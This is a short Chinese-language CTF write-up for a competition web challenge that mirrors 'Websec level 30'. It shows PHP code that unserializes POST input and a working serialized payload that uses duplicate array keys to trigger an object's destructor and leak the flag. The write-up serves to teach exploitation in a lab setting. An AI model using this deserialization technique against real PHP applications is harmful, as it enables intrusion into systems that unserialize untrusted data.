Websec level 30

前言

昨天在易霖博搞的网络安全与执法竞赛看到的一道web题,实际上就是用两个原题凑起来的。。

不过后面的一关没见过这里简单记录一下

第一关

打开是个登录界面,和BJDCTF的简单注入一模一样,连密码都一样。。

第二关

登录后得到

<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

include 'flag.php'; //defines $flag

class B {
  function __destruct() {//当一个对象销毁时被调用或者脚本结束时调用
    global $flag;
    echo $flag;
  }
}

if (isset($_POST['payload'])) {
    ob_start();//打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。 
    $a = unserialize($_POST['payload']);
    if ($a === False) {
        ob_end_clean();//清空(擦除)缓冲区并关闭输出缓冲
    }
    throw new Exception('Something tragic happened');//抛出一个错误
}
?>

还是原题 Websec level 30

payload:

a:2:{i:0;O:1:"B":0:{}i:0;i:1;}

详细可以参考:
[https://kangwoosun.github.io/webhacking/2020/03/28/Websec/]
[https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/#comments]
[https://www.evonide.com/fuzzing-unserialize/]

以下是个人的浅薄理解
如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。因此,如果将类 B 对象作为value冗余,则将调用析构函数,而不会导致反序列化错误,即先解析 O:1:"B":0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1) ,不为False,于是不会进入到ob_end_clean(),最后输出flag

这题如果直接传入

O:1:"B":0:{}

是不会输出flag,因为虽然这样反序列化得到的a是一个对象不等于False,但是之后会通过throw new 抛出一个错误,它这里的抛出错误就类似于下了一个断点一样,使得脚本程序的运行停止在了这里,并没有结束,所以反序列化后的B对象仍然存在,不会触发__destruct

原文地址:https://www.cnblogs.com/lceFIre/p/12783079.html